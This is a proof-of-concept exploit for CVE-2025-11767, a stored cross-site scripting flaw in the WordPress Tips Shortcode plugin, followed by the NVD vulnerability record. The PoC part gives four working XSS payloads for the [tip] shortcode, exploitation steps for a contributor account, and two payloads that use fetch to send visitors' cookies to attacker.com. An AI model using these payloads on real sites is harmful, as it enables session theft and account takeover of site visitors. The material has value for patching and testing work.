CVE-2025-11767

## CVE-2025-11767 PoC - Stored XSS via [tip] Shortcode ### Method 1: Using onerror event handler [tip]<img src=x onerror=alert(document.domain)>[/tip] ### Method 2: Using onload event handler [tip]<img src=x onload=alert(document.cookie)>[/tip] ### Method 3: Using script tag [tip]<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>[/tip] ### Method 4: Using SVG element [tip]<svg onload=alert('XSS')>[/tip] ### Exploitation Steps: 1. Authenticate as Contributor or higher role 2. Create/edit a post or page 3. Insert the malicious shortcode with XSS payload 4. Save/publish the content 5. When any user views the page, the XSS payload executes ### Real-world attack payload example: [tip]<img src=x onerror="fetch('https://attacker.com/api/steal',{method:'POST',body:document.cookie})">[/tip]

{"cve": {"id": "CVE-2025-11767", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:49.663", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tips Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tip' shortcode in all versions up to, and including, 0.2.1. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/tips-shortcode/tags/0.2.1/tips_shortcode.php#L33", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/34c13495-23c3-4b07-9bfb-678723daa43f?source=cve", "source": "[email protected]"}]}}